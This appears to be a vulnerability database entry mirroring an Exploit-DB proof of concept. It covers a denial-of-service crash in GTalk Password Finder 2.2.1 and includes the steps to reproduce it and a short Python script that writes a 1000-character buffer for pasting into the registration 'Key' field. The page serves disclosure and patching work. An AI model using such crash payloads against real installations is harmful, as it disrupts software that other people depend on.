GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)

vendor:

GTalk Password Finder

by:

Ismail Tasdelen

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: GTalk Password Finder

Affected Version From: 2.2.1

Affected Version To: 2.2.1

Patch Exists: NO

Related CWE: N/A

CPE: a:nsauditor:gtalk_password_finder:2.2.1

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10

2020

GTalk Password Finder 2.2.1 – ‘Key’ Denial of Service (PoC)

GTalk Password Finder 2.2.1 is vulnerable to a denial of service attack when a maliciously crafted input is sent to the 'Key' field. An attacker can exploit this vulnerability by creating a file (poc.txt) with a large number of characters and then copying and pasting the characters in the 'Key' field, which will cause the application to crash.

Mitigation:

Ensure that user input is properly validated and sanitized before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)
# Exploit Author: Ismail Tasdelen
# Exploit Date: 2020-01-16
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/gpwdfinder_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install GTalk Password Finder
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.GTalk Password Finder Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")